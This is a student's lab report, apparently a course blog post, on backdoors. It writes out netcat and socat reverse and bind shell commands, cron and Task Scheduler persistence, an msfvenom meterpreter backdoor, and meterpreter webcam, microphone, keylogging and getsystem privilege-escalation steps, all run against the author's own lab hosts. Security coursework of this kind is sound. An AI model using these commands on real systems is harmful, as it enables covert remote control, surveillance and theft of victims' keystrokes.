Exp2 后门原理与实践 20164302 王一帆

1 实验内容

1.1实验主要内容

(1)使用netcat获取主机操作Shell,cron启动 (0.5分)

(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

1.2 基础问题

 1.2.1 例举你能想到的一个后门进入到你系统中的可能方式?

            可能会在一些非正规的网站下载资源,下载得到的文件里面可能会包含有后门;在钓鱼网站上点击不安全的链接;陌生人发来的邮件中,不明的文件或者链接。

1.2.2 例举你知道的后门如何启动起来(win及linux)的方式?

           在windows中可以通过直接双击后门程序执行,也可以像实验中通过任务计划程序启动后门,如果它添加到了自启动项目,在开机的时候会启动,如果它跟其他软件捆绑在一起,运行其他软件也会一起被启动;在linux中可以像实验中,通过cron指令制定任务来启动程序。

1.2.3 Meterpreter有哪些给你映像深刻的功能?

          获取摄像头的照片,还有记录键盘的功能很深刻,通过meterpreter的功能,我自己体验了一回在电影斯诺登档案里面,经过别人电脑的摄像头观察到的画面,令人震惊,我决定要把自己电脑的摄像头也蒙住;文件记录功能,我做实验的时候,尝试了一次在文本文档里输入,又不太相信任何键盘输入都能记录,当时做实验的时候正在截图,然后就试了一下在另存为的对话框里重命名,没想也全部记录了,真的很强大。

1.2.4 如何发现自己有系统有没有被安装后门?

          最能想到就是用现在市面上各种各样的杀毒软件进行查杀,因为在做实验的时候把防火墙和杀毒软件关了,所以后门程序一直在,但是我发现,当做完实验把杀毒软件一开,后门程序就很容易被删除了;还可以通过观察注册表什么的,有没有back door有关信息来发现。

1.3 实验准备

1.3.1 获取IP地址

在Windows的cmd中使用命令  ipconfig 查看IP地址。

由图可知,Windows的IP地址为192.168.1.212。

在linux的终端中使用命令 ifconfig 查看IP地址。

由图可知,linux的IP地址为192.168.1.121。

1.3.2 Windows获得linux的shell

Windows用命令 ncat.exe -l -p 4302 监听4302端口,等待其他机器连接该端口。

kali使用命令 nc 192.168.28.166 4302 -e /bin/sh 反弹连接Windows,提供自己的shell。

Windows获得了linux的shell,可以执行linux的相关命令,例ls。

1.3.3 linux获得Windows的shell

与上面的步骤相似,在linux中用命令 nc -l -p 4302 设置监听本地4302端口。Windows使用命令 ncat.exe -e cmd.exe 192.168.1.121 4302 反弹连接linux,提供自己的shell。

linux获得Windows的shell,可以执行相关命令,例dir。

1.3.4 传输数据

Windows监听4302端口 ncat.exe -l 4302 ,linux连接Windows的4302端口 nc 192.168.1.212 4302 ,然后两台机器就可以互相传输信息了。

1.3.5 实验环境

为了方便之后实验中后门程序的运行,提前关闭Windows主机上的杀毒软件和防火墙。

2 实验步骤

2.1 使用netcat获取主机操作Shell,cron启动

cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务工具,并且会自动启动cron进程,cron进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。

crontab文件的含义:

用户所建立的crontab文件中,每一行都代表一项任务,每行的每个字段代表一项设置,它的格式共分为六个字段,前五段是时间设定段,第六段是要执行的命令段,格式如下:minute hour day month week command

2.1.1 设置定时启动

用指令 crontab -e 编辑定时任务。在第一次编辑的时候,会有提示选择编辑器,选择“3”,利用vim编辑器进行编辑。

点击“i”进入编辑模式,在最后一行添加 33 * * * * /bin/netcat 192.168.1.212 4302 -e /bin/sh ,意思是每小时的33分会反向连接Windows的4302端口。

按Esc键退出编辑模式,输入 :wq 保存并退出。

截个图,等个3分钟,到33分后,Windows获得linux的shell,可执行相关命令,例ls。

2.2 使用socat获取主机操作Shell, 任务计划启动

在Windows下,打开:控制面板->管理工具->任务计划程序。

 在操作选项中,选择“创建任务”,填写任务名称20164302。

新建触发,选择开始任务时间为:工作站锁定时。

新建操作,选择启动的程序为socat.exe,参数项填写 tcp-listen:4302 exec:cmd.exe,pty,stderr ,含义为:把cmd.exe绑定到端口号,同时把cmd.exe的stderr重定向到stdout上。

创建完成之后,选择创建的任务点击操作选项的“运行”,任务的状态成为“正在运行”。

在kali终端输入指令 socat - tcp:192.168.1.121:4302 

2.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

2.3.1 生成后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.121 LPORT=4302 -f exe > 20164302_backdoor.exe

注:这里设置的主机IP和端口均为linux的IP、端口

2.3.2 将生成的后门传送到Windows主机上

在Windows上运行 ncat.exe -lv 6915 > 20164302_backdoor.exe 指令,等待接受后门程序。

图中前两行是Windows正在监听,后两行是在kali上运行 nc 192.168.1.212 6915 < 20164302_backdoor.exe 命令,将后门程序传输到Windows主机上在显示的。

PS:这里突然想试一下从其他湍口传输可不可以,用的端口号是高中的学号,也成功完成了后门程序的传输。

2.3.3 进入msf控制台进行配置

在kali上使用 msfconsole 命令,进入msf控制台。

use exploit/multi/handler              //进入handler模块

set payload windows/meterpreter/reverse_tcp   //对应生成的后门程序设置payload

 输入 show options 查看利用模块的设置信息。

设置主机IP和端口

set LHOST 192.168.1.121              //配置模块的设置信息,这里是设置本主机kali的IP

set LPORT 4302                   //设置本主机的端口

再次使用 show options 查看设置。

输入 exploit 运行模块。

在Windows上运行后门程序20164302_backdoor.exe。

查看kali,发现获得了Windows主机的连接,得到了远程控制的shell,可执行相关命令,例dir。

2.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

2.4.1 获取目标主机音频、摄像头、击键内容等内容

获取目标主机的音频和截屏内容

record_mic    //音频

screenshot    //截屏

 使用命令 webcam_snap 可以获取摄像头所拍摄的照片。

这就是获得的摄像头照片,简直是猝不及防,本年度最囧自拍。。。。

在kali上输入指令 keyscan_start ,开始记录键盘记录,然后在Windows上输入一些字母,之后,再切换到kali,输入指令 keyscan_dump ,就可以读取键盘记录。

第一次的时候,没有在Windows在进行任何输入,就直接keyscan_dump了,然后,就什么也没有输出。

之后又进行了尝试,在Windows上新建了一个文本文档,随便输入了一串字符。

可以看到输出的内容是一致的,至于“38”,是想看一下其他形式的键盘记录,这是当时在截图,对图片进行另存为操作,在对话框中输入的编号,也成功记录了。

2.4.2 提权

 先使用 getuid 指令查看当前用户,再使用 getsystem 指令进行提权。 然后发现提权失败。。。还不甘心的多试了几次

然后问了一下我们小组的组长,他也有同样的问题,上网搜索,发现需要以管理员身份运行后门程序,才能提权。

所以,exit一下,到后门程序所在文件夹ncat,找到20164302_backdoor.exe,右键,以管理员身份运行,然后再试一次,成功提权。

3 实验感想

       通过本次的实验,对于后门的原理有了进一步的认识,对后门的形成、植入并利用后门进行攻击等操作有了初步的了解,自己的水平还不够高,所以实验还是参照学长学姐和其他同学的博客进行的,虽然实验做完了但实验步骤中一些详细内容我还没有理解,需要继续花时间弄懂,整体感觉上,这次的实践内容比上次的实验稍微轻松了一些,也比较好玩,过程中充满了乐趣,希望通过一次次有趣的实验,不仅能学到东西,也能提高自己对这门课的兴趣,把这门课真正的学好。

 

posted @ 2019-03-24 10:56  王一帆  阅读(330)  评论(0编辑  收藏  举报